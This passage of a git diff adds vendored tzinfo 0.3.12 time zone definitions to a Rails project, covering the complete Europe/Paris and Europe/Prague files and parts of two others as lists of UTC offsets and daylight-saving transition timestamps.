tz.transition 1984, 3, :o5, 449614800 + tz.transition 1984, 9, :o6, 465346800 + tz.transition 1985, 3, :o5, 481071600 + tz.transition 1985, 9, :o6, 496796400 + tz.transition 1986, 3, :o5, 512521200 + tz.transition 1986, 9, :o6, 528246000 + tz.transition 1987, 3, :o5, 543970800 + tz.transition 1987, 9, :o6, 559695600 + tz.transition 1988, 3, :o5, 575420400 + tz.transition 1988, 9, :o6, 591145200 + tz.transition 1989, 3, :o5, 606870000 + tz.transition 1989, 9, :o6, 622594800 + tz.transition 1990, 3, :o5, 638319600 + tz.transition 1990, 9, :o6, 654649200 + tz.transition 1991, 3, :o9, 670374000 + tz.transition 1991, 9, :o8, 686102400 + tz.transition 1992, 1, :o6, 695779200 + tz.transition 1992, 3, :o5, 701812800 + tz.transition 1992, 9, :o6, 717534000 + tz.transition 1993, 3, :o5, 733273200 + tz.transition 1993, 9, :o6, 748998000 + tz.transition 1994, 3, :o5, 764722800 + tz.transition 1994, 9, :o6, 780447600 + tz.transition 1995, 3, :o5, 796172400 + tz.transition 1995, 9, :o6, 811897200 + tz.transition 1996, 3, :o5, 828226800 + tz.transition 1996, 10, :o6, 846370800 + tz.transition 1997, 3, :o5, 859676400 + tz.transition 1997, 10, :o6, 877820400 + tz.transition 1998, 3, :o5, 891126000 + tz.transition 1998, 10, :o6, 909270000 + tz.transition 1999, 3, :o5, 922575600 + tz.transition 1999, 10, :o6, 941324400 + tz.transition 2000, 3, :o5, 954025200 + tz.transition 2000, 10, :o6, 972774000 + tz.transition 2001, 3, :o5, 985474800 + tz.transition 2001, 10, :o6, 1004223600 + tz.transition 2002, 3, :o5, 1017529200 + tz.transition 2002, 10, :o6, 1035673200 + tz.transition 2003, 3, :o5, 1048978800 + tz.transition 2003, 10, :o6, 1067122800 + tz.transition 2004, 3, :o5, 1080428400 + tz.transition 2004, 10, :o6, 1099177200 + tz.transition 2005, 3, :o5, 1111878000 + tz.transition 2005, 10, :o6, 1130626800 + tz.transition 2006, 3, :o5, 1143327600 + tz.transition 2006, 10, :o6, 1162076400 + tz.transition 2007, 3, :o5, 1174777200 + tz.transition 2007, 10, :o6, 1193526000 + tz.transition 2008, 3, :o5, 1206831600 + tz.transition 2008, 10, :o6, 1224975600 + tz.transition 2009, 3, :o5, 1238281200 + tz.transition 2009, 10, :o6, 1256425200 + tz.transition 2010, 3, :o5, 1269730800 + tz.transition 2010, 10, :o6, 1288479600 + tz.transition 2011, 3, :o5, 1301180400 + tz.transition 2011, 10, :o6, 1319929200 + tz.transition 2012, 3, :o5, 1332630000 + tz.transition 2012, 10, :o6, 1351378800 + tz.transition 2013, 3, :o5, 1364684400 + tz.transition 2013, 10, :o6, 1382828400 + tz.transition 2014, 3, :o5, 1396134000 + tz.transition 2014, 10, :o6, 1414278000 + tz.transition 2015, 3, :o5, 1427583600 + tz.transition 2015, 10, :o6, 1445727600 + tz.transition 2016, 3, :o5, 1459033200 + tz.transition 2016, 10, :o6, 1477782000 + tz.transition 2017, 3, :o5, 1490482800 + tz.transition 2017, 10, :o6, 1509231600 + tz.transition 2018, 3, :o5, 1521932400 + tz.transition 2018, 10, :o6, 1540681200 + tz.transition 2019, 3, :o5, 1553986800 + tz.transition 2019, 10, :o6, 1572130800 + tz.transition 2020, 3, :o5, 1585436400 + tz.transition 2020, 10, :o6, 1603580400 + tz.transition 2021, 3, :o5, 1616886000 + tz.transition 2021, 10, :o6, 1635634800 + tz.transition 2022, 3, :o5, 1648335600 + tz.transition 2022, 10, :o6, 1667084400 + tz.transition 2023, 3, :o5, 1679785200 + tz.transition 2023, 10, :o6, 1698534000 + tz.transition 2024, 3, :o5, 1711839600 + tz.transition 2024, 10, :o6, 1729983600 + tz.transition 2025, 3, :o5, 1743289200 + tz.transition 2025, 10, :o6, 1761433200 + tz.transition 2026, 3, :o5, 1774738800 + tz.transition 2026, 10, :o6, 1792882800 + tz.transition 2027, 3, :o5, 1806188400 + tz.transition 2027, 10, :o6, 1824937200 + tz.transition 2028, 3, :o5, 1837638000 + tz.transition 2028, 10, :o6, 1856386800 + tz.transition 2029, 3, :o5, 1869087600 + tz.transition 2029, 10, :o6, 1887836400 + tz.transition 2030, 3, :o5, 1901142000 + tz.transition 2030, 10, :o6, 1919286000 + tz.transition 2031, 3, :o5, 1932591600 + tz.transition 2031, 10, :o6, 1950735600 + tz.transition 2032, 3, :o5, 1964041200 + tz.transition 2032, 10, :o6, 1982790000 + tz.transition 2033, 3, :o5, 1995490800 + tz.transition 2033, 10, :o6, 2014239600 + tz.transition 2034, 3, :o5, 2026940400 + tz.transition 2034, 10, :o6, 2045689200 + tz.transition 2035, 3, :o5, 2058390000 + tz.transition 2035, 10, :o6, 2077138800 + tz.transition 2036, 3, :o5, 2090444400 + tz.transition 2036, 10, :o6, 2108588400 + tz.transition 2037, 3, :o5, 2121894000 + tz.transition 2037, 10, :o6, 2140038000 + tz.transition 2038, 3, :o5, 59172251, 24 + tz.transition 2038, 10, :o6, 59177459, 24 + tz.transition 2039, 3, :o5, 59180987, 24 + tz.transition 2039, 10, :o6, 59186195, 24 + tz.transition 2040, 3, :o5, 59189723, 24 + tz.transition 2040, 10, :o6, 59194931, 24 + tz.transition 2041, 3, :o5, 59198627, 24 + tz.transition 2041, 10, :o6, 59203667, 24 + tz.transition 2042, 3, :o5, 59207363, 24 + tz.transition 2042, 10, :o6, 59212403, 24 + tz.transition 2043, 3, :o5, 59216099, 24 + tz.transition 2043, 10, :o6, 59221139, 24 + tz.transition 2044, 3, :o5, 59224835, 24 + tz.transition 2044, 10, :o6, 59230043, 24 + tz.transition 2045, 3, :o5, 59233571, 24 + tz.transition 2045, 10, :o6, 59238779, 24 + tz.transition 2046, 3, :o5, 59242307, 24 + tz.transition 2046, 10, :o6, 59247515, 24 + tz.transition 2047, 3, :o5, 59251211, 24 + tz.transition 2047, 10, :o6, 59256251, 24 + tz.transition 2048, 3, :o5, 59259947, 24 + tz.transition 2048, 10, :o6, 59264987, 24 + tz.transition 2049, 3, :o5, 59268683, 24 + tz.transition 2049, 10, :o6, 59273891, 24 + tz.transition 2050, 3, :o5, 59277419, 24 + tz.transition 2050, 10, :o6, 59282627, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb new file mode 100644 index 00000000..e3236c0b --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb @@ -0,0 +1,232 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Paris + include TimezoneDefinition + + timezone 'Europe/Paris' do |tz| + tz.offset :o0, 561, 0, :LMT + tz.offset :o1, 561, 0, :PMT + tz.offset :o2, 0, 0, :WET + tz.offset :o3, 0, 3600, :WEST + tz.offset :o4, 3600, 3600, :CEST + tz.offset :o5, 3600, 0, :CET + tz.offset :o6, 0, 7200, :WEMT + + tz.transition 1891, 3, :o1, 69460027033, 28800 + tz.transition 1911, 3, :o2, 69670267033, 28800 + tz.transition 1916, 6, :o3, 58104707, 24 + tz.transition 1916, 10, :o2, 58107323, 24 + tz.transition 1917, 3, :o3, 58111499, 24 + tz.transition 1917, 10, :o2, 58116227, 24 + tz.transition 1918, 3, :o3, 58119899, 24 + tz.transition 1918, 10, :o2, 58124963, 24 + tz.transition 1919, 3, :o3, 58128467, 24 + tz.transition 1919, 10, :o2, 58133699, 24 + tz.transition 1920, 2, :o3, 58136867, 24 + tz.transition 1920, 10, :o2, 58142915, 24 + tz.transition 1921, 3, :o3, 58146323, 24 + tz.transition 1921, 10, :o2, 58151723, 24 + tz.transition 1922, 3, :o3, 58155347, 24 + tz.transition 1922, 10, :o2, 58160051, 24 + tz.transition 1923, 5, :o3, 58165595, 24 + tz.transition 1923, 10, :o2, 58168787, 24 + tz.transition 1924, 3, :o3, 58172987, 24 + tz.transition 1924, 10, :o2, 58177523, 24 + tz.transition 1925, 4, :o3, 58181891, 24 + tz.transition 1925, 10, :o2, 58186259, 24 + tz.transition 1926, 4, :o3, 58190963, 24 + tz.transition 1926, 10, :o2, 58194995, 24 + tz.transition 1927, 4, :o3, 58199531, 24 + tz.transition 1927, 10, :o2, 58203731, 24 + tz.transition 1928, 4, :o3, 58208435, 24 + tz.transition 1928, 10, :o2, 58212635, 24 + tz.transition 1929, 4, :o3, 58217339, 24 + tz.transition 1929, 10, :o2, 58221371, 24 + tz.transition 1930, 4, :o3, 58225907, 24 + tz.transition 1930, 10, :o2, 58230107, 24 + tz.transition 1931, 4, :o3, 58234811, 24 + tz.transition 1931, 10, :o2, 58238843, 24 + tz.transition 1932, 4, :o3, 58243211, 24 + tz.transition 1932, 10, :o2, 58247579, 24 + tz.transition 1933, 3, :o3, 58251779, 24 + tz.transition 1933, 10, :o2, 58256483, 24 + tz.transition 1934, 4, :o3, 58260851, 24 + tz.transition 1934, 10, :o2, 58265219, 24 + tz.transition 1935, 3, :o3, 58269419, 24 + tz.transition 1935, 10, :o2, 58273955, 24 + tz.transition 1936, 4, :o3, 58278659, 24 + tz.transition 1936, 10, :o2, 58282691, 24 + tz.transition 1937, 4, :o3, 58287059, 24 + tz.transition 1937, 10, :o2, 58291427, 24 + tz.transition 1938, 3, :o3, 58295627, 24 + tz.transition 1938, 10, :o2, 58300163, 24 + tz.transition 1939, 4, :o3, 58304867, 24 + tz.transition 1939, 11, :o2, 58310075, 24 + tz.transition 1940, 2, :o3, 29156215, 12 + tz.transition 1940, 6, :o4, 29157545, 12 + tz.transition 1942, 11, :o5, 58335973, 24 + tz.transition 1943, 3, :o4, 58339501, 24 + tz.transition 1943, 10, :o5, 58344037, 24 + tz.transition 1944, 4, :o4, 58348405, 24 + tz.transition 1944, 8, :o6, 29175929, 12 + tz.transition 1944, 10, :o3, 58352915, 24 + tz.transition 1945, 4, :o6, 58357141, 24 + tz.transition 1945, 9, :o5, 58361149, 24 + tz.transition 1976, 3, :o4, 196819200 + tz.transition 1976, 9, :o5, 212540400 + tz.transition 1977, 4, :o4, 228877200 + tz.transition 1977, 9, :o5, 243997200 + tz.transition 1978, 4, :o4, 260326800 + tz.transition 1978, 10, :o5, 276051600 + tz.transition 1979, 4, :o4, 291776400 + tz.transition 1979, 9, :o5, 307501200 + tz.transition 1980, 4, :o4, 323830800 + tz.transition 1980, 9, :o5, 338950800 + tz.transition 1981, 3, :o4, 354675600 + tz.transition 1981, 9, :o5, 370400400 + tz.transition 1982, 3, :o4, 386125200 + tz.transition 1982, 9, :o5, 401850000 + tz.transition 1983, 3, :o4, 417574800 + tz.transition 1983, 9, :o5, 433299600 + tz.transition 1984, 3, :o4, 449024400 + tz.transition 1984, 9, :o5, 465354000 + tz.transition 1985, 3, :o4, 481078800 + tz.transition 1985, 9, :o5, 496803600 + tz.transition 1986, 3, :o4, 512528400 + tz.transition 1986, 9, :o5, 528253200 + tz.transition 1987, 3, :o4, 543978000 + tz.transition 1987, 9, :o5, 559702800 + tz.transition 1988, 3, :o4, 575427600 + tz.transition 1988, 9, :o5, 591152400 + tz.transition 1989, 3, :o4, 606877200 + tz.transition 1989, 9, :o5, 622602000 + tz.transition 1990, 3, :o4, 638326800 + tz.transition 1990, 9, :o5, 654656400 + tz.transition 1991, 3, :o4, 670381200 + tz.transition 1991, 9, :o5, 686106000 + tz.transition 1992, 3, :o4, 701830800 + tz.transition 1992, 9, :o5, 717555600 + tz.transition 1993, 3, :o4, 733280400 + tz.transition 1993, 9, :o5, 749005200 + tz.transition 1994, 3, :o4, 764730000 + tz.transition 1994, 9, :o5, 780454800 + tz.transition 1995, 3, :o4, 796179600 + tz.transition 1995, 9, :o5, 811904400 + tz.transition 1996, 3, :o4, 828234000 + tz.transition 1996, 10, :o5, 846378000 + tz.transition 1997, 3, :o4, 859683600 + tz.transition 1997, 10, :o5, 877827600 + tz.transition 1998, 3, :o4, 891133200 + tz.transition 1998, 10, :o5, 909277200 + tz.transition 1999, 3, :o4, 922582800 + tz.transition 1999, 10, :o5, 941331600 + tz.transition 2000, 3, :o4, 954032400 + tz.transition 2000, 10, :o5, 972781200 + tz.transition 2001, 3, :o4, 985482000 + tz.transition 2001, 10, :o5, 1004230800 + tz.transition 2002, 3, :o4, 1017536400 + tz.transition 2002, 10, :o5, 1035680400 + tz.transition 2003, 3, :o4, 1048986000 + tz.transition 2003, 10, :o5, 1067130000 + tz.transition 2004, 3, :o4, 1080435600 + tz.transition 2004, 10, :o5, 1099184400 + tz.transition 2005, 3, :o4, 1111885200 + tz.transition 2005, 10, :o5, 1130634000 + tz.transition 2006, 3, :o4, 1143334800 + tz.transition 2006, 10, :o5, 1162083600 + tz.transition 2007, 3, :o4, 1174784400 + tz.transition 2007, 10, :o5, 1193533200 + tz.transition 2008, 3, :o4, 1206838800 + tz.transition 2008, 10, :o5, 1224982800 + tz.transition 2009, 3, :o4, 1238288400 + tz.transition 2009, 10, :o5, 1256432400 + tz.transition 2010, 3, :o4, 1269738000 + tz.transition 2010, 10, :o5, 1288486800 + tz.transition 2011, 3, :o4, 1301187600 + tz.transition 2011, 10, :o5, 1319936400 + tz.transition 2012, 3, :o4, 1332637200 + tz.transition 2012, 10, :o5, 1351386000 + tz.transition 2013, 3, :o4, 1364691600 + tz.transition 2013, 10, :o5, 1382835600 + tz.transition 2014, 3, :o4, 1396141200 + tz.transition 2014, 10, :o5, 1414285200 + tz.transition 2015, 3, :o4, 1427590800 + tz.transition 2015, 10, :o5, 1445734800 + tz.transition 2016, 3, :o4, 1459040400 + tz.transition 2016, 10, :o5, 1477789200 + tz.transition 2017, 3, :o4, 1490490000 + tz.transition 2017, 10, :o5, 1509238800 + tz.transition 2018, 3, :o4, 1521939600 + tz.transition 2018, 10, :o5, 1540688400 + tz.transition 2019, 3, :o4, 1553994000 + tz.transition 2019, 10, :o5, 1572138000 + tz.transition 2020, 3, :o4, 1585443600 + tz.transition 2020, 10, :o5, 1603587600 + tz.transition 2021, 3, :o4, 1616893200 + tz.transition 2021, 10, :o5, 1635642000 + tz.transition 2022, 3, :o4, 1648342800 + tz.transition 2022, 10, :o5, 1667091600 + tz.transition 2023, 3, :o4, 1679792400 + tz.transition 2023, 10, :o5, 1698541200 + tz.transition 2024, 3, :o4, 1711846800 + tz.transition 2024, 10, :o5, 1729990800 + tz.transition 2025, 3, :o4, 1743296400 + tz.transition 2025, 10, :o5, 1761440400 + tz.transition 2026, 3, :o4, 1774746000 + tz.transition 2026, 10, :o5, 1792890000 + tz.transition 2027, 3, :o4, 1806195600 + tz.transition 2027, 10, :o5, 1824944400 + tz.transition 2028, 3, :o4, 1837645200 + tz.transition 2028, 10, :o5, 1856394000 + tz.transition 2029, 3, :o4, 1869094800 + tz.transition 2029, 10, :o5, 1887843600 + tz.transition 2030, 3, :o4, 1901149200 + tz.transition 2030, 10, :o5, 1919293200 + tz.transition 2031, 3, :o4, 1932598800 + tz.transition 2031, 10, :o5, 1950742800 + tz.transition 2032, 3, :o4, 1964048400 + tz.transition 2032, 10, :o5, 1982797200 + tz.transition 2033, 3, :o4, 1995498000 + tz.transition 2033, 10, :o5, 2014246800 + tz.transition 2034, 3, :o4, 2026947600 + tz.transition 2034, 10, :o5, 2045696400 + tz.transition 2035, 3, :o4, 2058397200 + tz.transition 2035, 10, :o5, 2077146000 + tz.transition 2036, 3, :o4, 2090451600 + tz.transition 2036, 10, :o5, 2108595600 + tz.transition 2037, 3, :o4, 2121901200 + tz.transition 2037, 10, :o5, 2140045200 + tz.transition 2038, 3, :o4, 59172253, 24 + tz.transition 2038, 10, :o5, 59177461, 24 + tz.transition 2039, 3, :o4, 59180989, 24 + tz.transition 2039, 10, :o5, 59186197, 24 + tz.transition 2040, 3, :o4, 59189725, 24 + tz.transition 2040, 10, :o5, 59194933, 24 + tz.transition 2041, 3, :o4, 59198629, 24 + tz.transition 2041, 10, :o5, 59203669, 24 + tz.transition 2042, 3, :o4, 59207365, 24 + tz.transition 2042, 10, :o5, 59212405, 24 + tz.transition 2043, 3, :o4, 59216101, 24 + tz.transition 2043, 10, :o5, 59221141, 24 + tz.transition 2044, 3, :o4, 59224837, 24 + tz.transition 2044, 10, :o5, 59230045, 24 + tz.transition 2045, 3, :o4, 59233573, 24 + tz.transition 2045, 10, :o5, 59238781, 24 + tz.transition 2046, 3, :o4, 59242309, 24 + tz.transition 2046, 10, :o5, 59247517, 24 + tz.transition 2047, 3, :o4, 59251213, 24 + tz.transition 2047, 10, :o5, 59256253, 24 + tz.transition 2048, 3, :o4, 59259949, 24 + tz.transition 2048, 10, :o5, 59264989, 24 + tz.transition 2049, 3, :o4, 59268685, 24 + tz.transition 2049, 10, :o5, 59273893, 24 + tz.transition 2050, 3, :o4, 59277421, 24 + tz.transition 2050, 10, :o5, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb new file mode 100644 index 00000000..bcabee96 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb @@ -0,0 +1,187 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Prague + include TimezoneDefinition + + timezone 'Europe/Prague' do |tz| + tz.offset :o0, 3464, 0, :LMT + tz.offset :o1, 3464, 0, :PMT + tz.offset :o2, 3600, 0, :CET + tz.offset :o3, 3600, 3600, :CEST + + tz.transition 1849, 12, :o1, 25884991367, 10800 + tz.transition 1891, 9, :o2, 26049669767, 10800 + tz.transition 1916, 4, :o3, 29051813, 12 + tz.transition 1916, 9, :o2, 58107299, 24 + tz.transition 1917, 4, :o3, 58112029, 24 + tz.transition 1917, 9, :o2, 58115725, 24 + tz.transition 1918, 4, :o3, 58120765, 24 + tz.transition 1918, 9, :o2, 58124461, 24 + tz.transition 1940, 4, :o3, 58313293, 24 + tz.transition 1942, 11, :o2, 58335973, 24 + tz.transition 1943, 3, :o3, 58339501, 24 + tz.transition 1943, 10, :o2, 58344037, 24 + tz.transition 1944, 4, :o3, 58348405, 24 + tz.transition 1944, 9, :o2, 58352413, 24 + tz.transition 1945, 4, :o3, 58357285, 24 + tz.transition 1945, 11, :o2, 58362661, 24 + tz.transition 1946, 5, :o3, 58366717, 24 + tz.transition 1946, 10, :o2, 58370389, 24 + tz.transition 1947, 4, :o3, 58375093, 24 + tz.transition 1947, 10, :o2, 58379125, 24 + tz.transition 1948, 4, :o3, 58383829, 24 + tz.transition 1948, 10, :o2, 58387861, 24 + tz.transition 1949, 4, :o3, 58392373, 24 + tz.transition 1949, 10, :o2, 58396597, 24 + tz.transition 1979, 4, :o3, 291776400 + tz.transition 1979, 9, :o2, 307501200 + tz.transition 1980, 4, :o3, 323830800 + tz.transition 1980, 9, :o2, 338950800 + tz.transition 1981, 3, :o3, 354675600 + tz.transition 1981, 9, :o2, 370400400 + tz.transition 1982, 3, :o3, 386125200 + tz.transition 1982, 9, :o2, 401850000 + tz.transition 1983, 3, :o3, 417574800 + tz.transition 1983, 9, :o2, 433299600 + tz.transition 1984, 3, :o3, 449024400 + tz.transition 1984, 9, :o2, 465354000 + tz.transition 1985, 3, :o3, 481078800 + tz.transition 1985, 9, :o2, 496803600 + tz.transition 1986, 3, :o3, 512528400 + tz.transition 1986, 9, :o2, 528253200 + tz.transition 1987, 3, :o3, 543978000 + tz.transition 1987, 9, :o2, 559702800 + tz.transition 1988, 3, :o3, 575427600 + tz.transition 1988, 9, :o2, 591152400 + tz.transition 1989, 3, :o3, 606877200 + tz.transition 1989, 9, :o2, 622602000 + tz.transition 1990, 3, :o3, 638326800 + tz.transition 1990, 9, :o2, 654656400 + tz.transition 1991, 3, :o3, 670381200 + tz.transition 1991, 9, :o2, 686106000 + tz.transition 1992, 3, :o3, 701830800 + tz.transition 1992, 9, :o2, 717555600 + tz.transition 1993, 3, :o3, 733280400 + tz.transition 1993, 9, :o2, 749005200 + tz.transition 1994, 3, :o3, 764730000 + tz.transition 1994, 9, :o2, 780454800 + tz.transition 1995, 3, :o3, 796179600 + tz.transition 1995, 9, :o2, 811904400 + tz.transition 1996, 3, :o3, 828234000 + tz.transition 1996, 10, :o2, 846378000 + tz.transition 1997, 3, :o3, 859683600 + tz.transition 1997, 10, :o2, 877827600 + tz.transition 1998, 3, :o3, 891133200 + tz.transition 1998, 10, :o2, 909277200 + tz.transition 1999, 3, :o3, 922582800 + tz.transition 1999, 10, :o2, 941331600 + tz.transition 2000, 3, :o3, 954032400 + tz.transition 2000, 10, :o2, 972781200 + tz.transition 2001, 3, :o3, 985482000 + tz.transition 2001, 10, :o2, 1004230800 + tz.transition 2002, 3, :o3, 1017536400 + tz.transition 2002, 10, :o2, 1035680400 + tz.transition 2003, 3, :o3, 1048986000 + tz.transition 2003, 10, :o2, 1067130000 + tz.transition 2004, 3, :o3, 1080435600 + tz.transition 2004, 10, :o2, 1099184400 + tz.transition 2005, 3, :o3, 1111885200 + tz.transition 2005, 10, :o2, 1130634000 + tz.transition 2006, 3, :o3, 1143334800 + tz.transition 2006, 10, :o2, 1162083600 + tz.transition 2007, 3, :o3, 1174784400 + tz.transition 2007, 10, :o2, 1193533200 + tz.transition 2008, 3, :o3, 1206838800 + tz.transition 2008, 10, :o2, 1224982800 + tz.transition 2009, 3, :o3, 1238288400 + tz.transition 2009, 10, :o2, 1256432400 + tz.transition 2010, 3, :o3, 1269738000 + tz.transition 2010, 10, :o2, 1288486800 + tz.transition 2011, 3, :o3, 1301187600 + tz.transition 2011, 10, :o2, 1319936400 + tz.transition 2012, 3, :o3, 1332637200 + tz.transition 2012, 10, :o2, 1351386000 + tz.transition 2013, 3, :o3, 1364691600 + tz.transition 2013, 10, :o2, 1382835600 + tz.transition 2014, 3, :o3, 1396141200 + tz.transition 2014, 10, :o2, 1414285200 + tz.transition 2015, 3, :o3, 1427590800 + tz.transition 2015, 10, :o2, 1445734800 + tz.transition 2016, 3, :o3, 1459040400 + tz.transition 2016, 10, :o2, 1477789200 + tz.transition 2017, 3, :o3, 1490490000 + tz.transition 2017, 10, :o2, 1509238800 + tz.transition 2018, 3, :o3, 1521939600 + tz.transition 2018, 10, :o2, 1540688400 + tz.transition 2019, 3, :o3, 1553994000 + tz.transition 2019, 10, :o2, 1572138000 + tz.transition 2020, 3, :o3, 1585443600 + tz.transition 2020, 10, :o2, 1603587600 + tz.transition 2021, 3, :o3, 1616893200 + tz.transition 2021, 10, :o2, 1635642000 + tz.transition 2022, 3, :o3, 1648342800 + tz.transition 2022, 10, :o2, 1667091600 + tz.transition 2023, 3, :o3, 1679792400 + tz.transition 2023, 10, :o2, 1698541200 + tz.transition 2024, 3, :o3, 1711846800 + tz.transition 2024, 10, :o2, 1729990800 + tz.transition 2025, 3, :o3, 1743296400 + tz.transition 2025, 10, :o2, 1761440400 + tz.transition 2026, 3, :o3, 1774746000 + tz.transition 2026, 10, :o2, 1792890000 + tz.transition 2027, 3, :o3, 1806195600 + tz.transition 2027, 10, :o2, 1824944400 + tz.transition 2028, 3, :o3, 1837645200 + tz.transition 2028, 10, :o2, 1856394000 + tz.transition 2029, 3, :o3, 1869094800 + tz.transition 2029, 10, :o2, 1887843600 + tz.transition 2030, 3, :o3, 1901149200 + tz.transition 2030, 10, :o2, 1919293200 + tz.transition 2031, 3, :o3, 1932598800 + tz.transition 2031, 10, :o2, 1950742800 + tz.transition 2032, 3, :o3, 1964048400 + tz.transition 2032, 10, :o2, 1982797200 + tz.transition 2033, 3, :o3, 1995498000 + tz.transition 2033, 10, :o2, 2014246800 + tz.transition 2034, 3, :o3, 2026947600 + tz.transition 2034, 10, :o2, 2045696400 + tz.transition 2035, 3, :o3, 2058397200 + tz.transition 2035, 10, :o2, 2077146000 + tz.transition 2036, 3, :o3, 2090451600 + tz.transition 2036, 10, :o2, 2108595600 + tz.transition 2037, 3, :o3, 2121901200 + tz.transition 2037, 10, :o2, 2140045200 + tz.transition 2038, 3, :o3, 59172253, 24 + tz.transition 2038, 10, :o2, 59177461, 24 + tz.transition 2039, 3, :o3, 59180989, 24 + tz.transition 2039, 10, :o2, 59186197, 24 + tz.transition 2040, 3, :o3, 59189725, 24 + tz.transition 2040, 10, :o2, 59194933, 24 + tz.transition 2041, 3, :o3, 59198629, 24 + tz.transition 2041, 10, :o2, 59203669, 24 + tz.transition 2042, 3, :o3, 59207365, 24 + tz.transition 2042, 10, :o2, 59212405, 24 + tz.transition 2043, 3, :o3, 59216101, 24 + tz.transition 2043, 10, :o2, 59221141, 24 + tz.transition 2044, 3, :o3, 59224837, 24 + tz.transition 2044, 10, :o2, 59230045, 24 + tz.transition 2045, 3, :o3, 59233573, 24 + tz.transition 2045, 10, :o2, 59238781, 24 + tz.transition 2046, 3, :o3, 59242309, 24 + tz.transition 2046, 10, :o2, 59247517, 24 + tz.transition 2047, 3, :o3, 59251213, 24 + tz.transition 2047, 10, :o2, 59256253, 24 + tz.transition 2048, 3, :o3, 59259949, 24 + tz.transition 2048, 10, :o2, 59264989, 24 + tz.transition 2049, 3, :o3, 59268685, 24 + tz.transition 2049, 10, :o2, 59273893, 24 + tz.transition 2050, 3, :o3, 59277421, 24 + tz.transition 2050, 10, :o2, 59282629, 24 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb new file mode 100644 index 00000000..784837f7 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb @@ -0,0 +1,176 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Europe + module Riga + include TimezoneDefinition + + timezone 'Europe/Riga' do |tz| + tz.offset :o0, 5784, 0, :LMT + tz.offset :o1, 5784, 0, :RMT + tz.offset :o2, 5784, 3600, :LST + tz.offset :o3, 7200, 0, :EET + tz.offset :o4, 10800, 0, :MSK + tz.offset :o5, 3600, 3600, :CEST + tz.offset :o6, 3600, 0, :CET + tz.offset :o7, 10800, 3600, :MSD + tz.offset :o8, 7200, 3600, :EEST + + tz.transition 1879, 12, :o1, 8667775559, 3600 + tz.transition 1918, 4, :o2, 8718114659, 3600 + tz.transition 1918, 9, :o1, 8718669059, 3600 + tz.transition 1919, 4, :o2, 8719378259, 3600 + tz.transition 1919, 5, :o1, 8719561859, 3600 + tz.transition 1926, 5, :o3, 8728727159, 3600 + tz.transition 1940, 8, :o4, 29158157, 12 + tz.transition 1941, 6, :o5, 19441411, 8 + tz.transition 1942, 11, :o6, 58335973, 24 + tz.transition 1943, 3, :o5, 58339501, 24 + tz.transition 1943, 10, :o6, 58344037, 24 + tz.transition 1944, 4, :o5, 58348405, 24 + tz.transition 1944, 10, :o6, 58352773, 24 + tz.transition 1944, 10, :o4, 58353035, 24 + tz.transition 1981, 3, :o7, 354920400 + tz.transition 1981, 9, :o4, 370728000 + tz.transition 1982, 3, :o7, 386456400 + tz.transition 1982, 9, :o4, 402264000 + tz.transition 1983, 3, :o7, 417992400 + tz.transition 1983, 9, :o4, 433800000 + tz.transition 1984, 3, :o7, 449614800 + tz.transition 1984, 9, :o4, 465346800 + tz.transition 1985, 3, :o7, 481071600 + tz.transition 1985, 9, :o4, 496796400 + tz.transition 1986, 3, :o7, 512521200 + tz.transition 1986, 9, :o4, 528246000 + tz.transition 1987, 3, :o7, 543970800 + tz.transition 1987, 9, :o4, 559695600 + tz.transition 1988, 3, :o7, 575420400 + tz.transition 1988, 9, :o4, 591145200 + tz.transition 1989, 3, :o8, 606870000 + tz.transition 1989, 9, :o3, 622598400 + tz.transition 1990, 3, :o8, 638323200 + tz.transition 1990, 9, :o3, 654652800 + tz.transition 1991, 3, :o8, 670377600 + tz.transition 1991, 9, :o3, 686102400 + tz.transition 1992, 3, :o8, 701827200 + tz.transition 1992, 9, :o3, 717552000 + tz.transition 1993, 3, :o8, 733276800 + tz.transition 1993, 9, :o3, 749001600 + tz.transition 1994, 3, :o8, 764726400 + tz.transition 1994, 9, :o3, 780451200 + tz.transition 1995, 3, :o8, 796176000 + tz.transition 1995, 9, :o3, 811900800 + tz.transition 1996, 3, :o8, 828230400 + tz.transition 1996, 9, :o3, 843955200 + tz.transition 1997, 3, :o8, 859683600 + tz.transition 1997, 10, :o3, 877827600 + tz.transition 1998, 3, :o8, 891133200 + tz.transition 1998, 10, :o3, 909277200 + tz.transition 1999, 3, :o8, 922582800 + tz.transition 1999, 10, :o3, 941331600 + tz.transition 2001, 3, :o8, 985482000 + tz.transition 2001, 10, :o3, 1004230800 + tz.transition 2002, 3, :o8, 1017536400 + tz.transition 2002, 10, :o3, 1035680400 + tz.transition 2003, 3, :o8, 1048986000 + tz.transition 2003, 10, :o3, 1067130000 + tz.transition 2004, 3, :o8, 1080435600 + tz.transition 2004, 10, :o3, 1099184400 + tz.transition 2005, 3, :o8, 1111885200 + tz.transition 2005, 10, :o3, 1130634000 + tz.transition 2006, 3, :o8, 1143334800 + tz.transition 2006, 10, :o3, 1162083600 + tz.transition 2007, 3, :o8, 1174784400 + tz.transition 2007, 10, :o3, 1193533200 + tz.transition 2008, 3, :o8, 1206838800 + tz.transition 2008, 10, :o3, 1224982800 + tz.transition 2009, 3, :o8, 1238288400 + tz.transition 2009, 10, :o3, 1256432400 + tz.transition 2010, 3, :o8, 1269738000 + tz.transition 2010, 10, :o3, 1288486800 + tz.transition 2011, 3, 